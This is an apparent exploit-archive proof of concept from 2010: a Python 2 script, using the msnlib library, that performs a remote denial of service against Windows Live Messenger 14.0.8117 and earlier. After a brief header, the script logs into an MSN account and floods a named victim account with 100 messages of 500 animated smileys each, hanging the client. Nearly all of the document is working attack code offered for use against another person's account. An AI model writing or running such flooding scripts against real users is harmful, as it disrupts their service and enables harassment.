# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service
# Date: 11/08/2010
# Author: TheLeader
# Email: gsog2009 [a7] hotmail [d0t] com
# Software Link: http://explore.live.com/windows-live-messenger
# Version: 14.0.8117 and prior
# Tested on: Windows 7 x86
 
# msnlib required: http://blitiri.com.ar/p/msnlib/
# Greets: forums.hacking.org.il - <3UGUYS
# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for
#              the msnlib library / Original msnbot example (that I modded =] )
 
# Description:
# Windows Live Messenger is prone to a Denial of Service attack. By sending
# specially crafted messages that contain a large number of animations ("Smileys"),
# it is possible to make WLM consume large amounts of memory and CPU while
# it attempts to render the animated images, causing it to stop responding.
 
import sys
import time
import select
import socket
import thread
import msnlib
import msncb
 
payload = ":'(" * 500
 
m = msnlib.msnd()
m.cb = msncb.cb()
 
def do_work():
    time.sleep(15)
     
    for i in range(100):
        print m.sendmsg(victim, payload)
     
    time.sleep(30)
    quit()
 
 
try:
    m.email = sys.argv[1]
    m.pwd = sys.argv[2]
    victim = sys.argv[3]
except:
    print "Usage: msnkeep.py account password victim_account"
    sys.exit(1)
 
m.login()
m.sync()
 
m.change_status("online")
 
def quit():
    try:
        m.disconnect()
    except:
        pass
    sys.exit(0)
 
thread.start_new_thread(do_work, ())
 
while 1:
    t = m.pollable()
    infd = t[0]
    outfd = t[1]
 
    try:
        fds = select.select(infd, outfd, [], 0)
    except:
        quit()
     
    for i in fds[0] + fds[1]:
        try:
            m.read(i)
        except ('SocketError', socket.error), err:
            if i != m:
                m.close(i)
            else:
                quit()
 
    time.sleep(0.01)